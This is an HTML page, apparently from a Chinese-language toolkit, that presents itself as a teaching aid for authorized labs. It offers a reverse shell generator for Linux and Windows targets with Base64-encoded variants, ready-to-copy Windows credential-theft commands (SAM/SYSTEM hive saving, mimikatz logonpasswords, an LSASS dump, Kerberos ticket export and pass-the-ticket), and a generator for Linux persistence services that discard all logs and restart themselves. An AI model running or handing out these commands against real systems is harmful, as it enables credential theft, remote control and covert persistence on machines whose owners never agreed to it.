177 lines
9.9 KiB
HTML
177 lines
9.9 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="zh-CN">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<meta name="renderer" content="webkit">
|
||
<script>(function(){var t;try{t=localStorage.getItem("hp-theme")}catch(e){}if(!t){t=(window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches)?"dark":"light"}document.documentElement.setAttribute("data-theme",t);})();</script>
|
||
<title>辅助维权</title>
|
||
<link rel="icon" href="../assets/img/logo.svg">
|
||
<link rel="stylesheet" href="../assets/css/common.css">
|
||
<style>
|
||
.p-sec { margin-top: 16px; }
|
||
.p-sec-head { display: flex; align-items: center; justify-content: space-between; gap: 8px; margin-bottom: 6px; }
|
||
.p-sec-t { font-weight: 600; font-size: 14px; color: var(--text-2); }
|
||
.p-sec textarea, .mono-ta { font-family: Consolas, Menlo, monospace; font-size: 13px; }
|
||
.auto-ta { resize: none; overflow: hidden; min-height: 0; height: auto; }
|
||
.b64-note { font-size: 12px; color: var(--text-3); margin: 6px 0 4px; }
|
||
.p-sec code, .tip code { font-family: Consolas, Menlo, monospace; }
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div class="func-bar"><div class="wrap func-bar-inner">
|
||
<a class="btn btn-sm js-fb-back" href="index.php" title="返回功能区首页">← 返回功能区首页</a>
|
||
<span class="func-bar-title">辅助维权</span>
|
||
<a class="btn btn-sm" href="../index.php">首页</a>
|
||
</div></div>
|
||
|
||
<main class="page-main">
|
||
<div class="wrap page-body">
|
||
<div class="panel-card">
|
||
<p class="tip" style="margin-top:0">🔒 全部配置 / 命令均由本机浏览器本地生成，输入内容不会上传服务器。</p>
|
||
<h2>辅助维权 · 教学辅助</h2>
|
||
<p class="tip">本工具<b>仅供内网教学 / 授权实验环境使用</b>，请勿用于任何未经授权的真实目标。
|
||
三类输出全部在浏览器本地生成：① <b>反弹 Shell 构建</b>（Linux / Windows 目标机，含普通、Python 动态与 Base64 编码版本）；
|
||
② <b>Windows 辅助</b>（SAM / SYSTEM 提取、mimikatz 与常见票据提取参考语句）；③ <b>Linux 自启服务</b>（systemd / init.d 配置生成，不落盘日志、自动重启）。
|
||
示例 IP / 路径仅为演示占位，请替换为实验环境真实值。</p>
|
||
</div>
|
||
|
||
<!-- 1) 反弹 Shell 构建 -->
|
||
<div class="panel-card">
|
||
<h2>反弹 Shell 构建</h2>
|
||
<p class="tip">先在你自己的实验机上执行 <code>nc -lvnp 端口</code> 监听，再按目标机系统生成对应反弹命令在目标机执行。
|
||
「IP」填你自己的监听机地址，「端口」与监听端口保持一致。</p>
|
||
<div class="field-row" style="align-items:center;flex-wrap:wrap">
|
||
<div class="seg" id="revPlat">
|
||
<button type="button" data-plat="linux" class="active">Linux 目标机</button>
|
||
<button type="button" data-plat="win">Windows 目标机</button>
|
||
</div>
|
||
<input type="text" id="revIp" value="10.0.0.1" placeholder="监听 IP（你的实验机）" style="flex:0 1 220px;width:220px">
|
||
<input type="text" id="revPort" value="4444" placeholder="监听端口" style="flex:0 1 150px;width:150px">
|
||
<button type="button" class="btn btn-primary" id="revGo">生成语句</button>
|
||
</div>
|
||
<div id="revMsg"></div>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t" id="revTA">#1 普通反弹</span>
|
||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revA">复制原句</button>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revA64">复制 Base64</button>
|
||
</span>
|
||
</div>
|
||
<textarea id="revA" readonly class="mono-ta auto-ta"></textarea>
|
||
<div class="b64-note" id="revAN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||
<textarea id="revA64" readonly class="mono-ta auto-ta"></textarea>
|
||
</div>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t" id="revTB">#2 Python 反弹</span>
|
||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revB">复制原句</button>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revB64">复制 Base64</button>
|
||
</span>
|
||
</div>
|
||
<textarea id="revB" readonly class="mono-ta auto-ta"></textarea>
|
||
<div class="b64-note" id="revBN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||
<textarea id="revB64" readonly class="mono-ta auto-ta"></textarea>
|
||
</div>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t" id="revTC">#3 Python 反弹</span>
|
||
<span style="display:inline-flex;gap:6px;flex-wrap:wrap">
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revC">复制原句</button>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#revC64">复制 Base64</button>
|
||
</span>
|
||
</div>
|
||
<textarea id="revC" readonly class="mono-ta auto-ta"></textarea>
|
||
<div class="b64-note" id="revCN">▼ 下方为 Base64 编码后的可执行版本</div>
|
||
<textarea id="revC64" readonly class="mono-ta auto-ta"></textarea>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 2) Windows 辅助 -->
|
||
<div class="panel-card">
|
||
<h2>Windows 辅助（凭据 / 票据提取参考）</h2>
|
||
<p class="tip">以下命令均在目标机本地生成与落盘，需以<b>管理员 / SYSTEM 权限</b>执行，结果文件再拷贝到实验分析机解析。</p>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t">SAM / SYSTEM 配置单元提取</span>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#winHive">复制</button>
|
||
</div>
|
||
<textarea id="winHive" readonly class="mono-ta auto-ta" rows="7"># 在目标机（需管理员 / SYSTEM）当前目录保存注册表配置单元：
|
||
reg save HKLM\SAM sam
|
||
reg save HKLM\SYSTEM system
|
||
reg save HKLM\SECURITY security
|
||
|
||
# 将 sam / system 拷贝回实验分析机后离线还原口令哈希：
|
||
# secretsdump.py -sam sam -system system LOCAL
|
||
# mimikatz.exe "lsadump::sam /system:system /sam:sam" exit</textarea>
|
||
</div>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t">mimikatz 常用提取语句</span>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#winMimi">复制</button>
|
||
</div>
|
||
<textarea id="winMimi" readonly class="mono-ta auto-ta" rows="6">mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
|
||
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|
||
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
|
||
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
|
||
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit</textarea>
|
||
</div>
|
||
|
||
<div class="p-sec">
|
||
<div class="p-sec-head">
|
||
<span class="p-sec-t">常见票据提取方法</span>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#winTicket">复制</button>
|
||
</div>
|
||
<textarea id="winTicket" readonly class="mono-ta auto-ta" rows="9"># 1) 从内存导出会话票据（.kirbi 写入当前目录）
|
||
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
|
||
mimikatz.exe "privilege::debug" "kerberos::list /export" exit
|
||
|
||
# 2) LSASS 转储后离线分析（新版 Windows 建议先转储回分析机再解析）
|
||
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
|
||
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
|
||
|
||
# 3) 注入 / 使用已导出票据
|
||
mimikatz.exe "kerberos::ptt 1-40a0000-xxx.kirbi" exit
|
||
# 备选 Rubeus：Rubeus.exe dump / triage / kerberoast / asktgt / ptt</textarea>
|
||
<p class="tip" style="margin-top:6px">票据提取后可直接用于横向实验；离线解析需要在分析机上准备 mimikatz / impacket 等教学组件。</p>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- 3) Linux 自启服务生成 -->
|
||
<div class="panel-card">
|
||
<h2>Linux 自启服务配置生成</h2>
|
||
<p class="tip">输入需要常驻的执行文件<b>绝对路径</b>，切换「高版本 systemd / 低版本 init.d」即时生成对应配置。
|
||
生成内容均满足：<b>不产生 / 不落盘日志</b>（stdout、stderr 全部丢弃），<b>异常退出自动重启</b>（间隔 3 秒）。输出可在文本框内继续编辑。</p>
|
||
<div class="field-row" style="align-items:center;flex-wrap:wrap">
|
||
<input type="text" id="lxPath" value="/opt/demo/agent" placeholder="执行文件绝对路径，如 /opt/svc/bin/app" style="flex:2 1 360px">
|
||
<input type="text" id="lxName" value="" placeholder="服务名（留空自动取文件名）" style="flex:1 1 220px">
|
||
</div>
|
||
<div class="field-row" style="margin-top:10px;align-items:center;flex-wrap:wrap">
|
||
<div class="seg" id="lxMode">
|
||
<button type="button" data-mode="systemd" class="active">高版本 systemd</button>
|
||
<button type="button" data-mode="initd">低版本 init.d</button>
|
||
</div>
|
||
<button type="button" class="btn btn-primary btn-sm" id="lxGo">生成配置</button>
|
||
<button type="button" class="btn btn-sm js-copy" data-target="#lxOut">复制</button>
|
||
<button type="button" class="btn btn-sm" id="lxDown">下载文件</button>
|
||
</div>
|
||
<textarea id="lxOut" class="mono-ta" rows="17" style="margin-top:10px" placeholder="生成的配置内容将显示在这里，可继续编辑…"></textarea>
|
||
<p class="tip" id="lxTips" style="margin-top:8px"></p>
|
||
</div>
|
||
</div>
|
||
</main>
|
||
|
||
<button type="button" class="theme-fab js-theme-btn" title="切换昼夜模式" aria-label="切换昼夜模式"><span class="js-theme-icon"></span></button>
|
||
<button type="button" class="theme-fab to-top js-to-top" title="返回顶部" aria-label="返回顶部">↑</button>
|
||
<script src="../assets/js/common.js"></script>
|
||
<script src="../assets/js/persist.js"></script>
|
||
</body>
|
||
</html>
|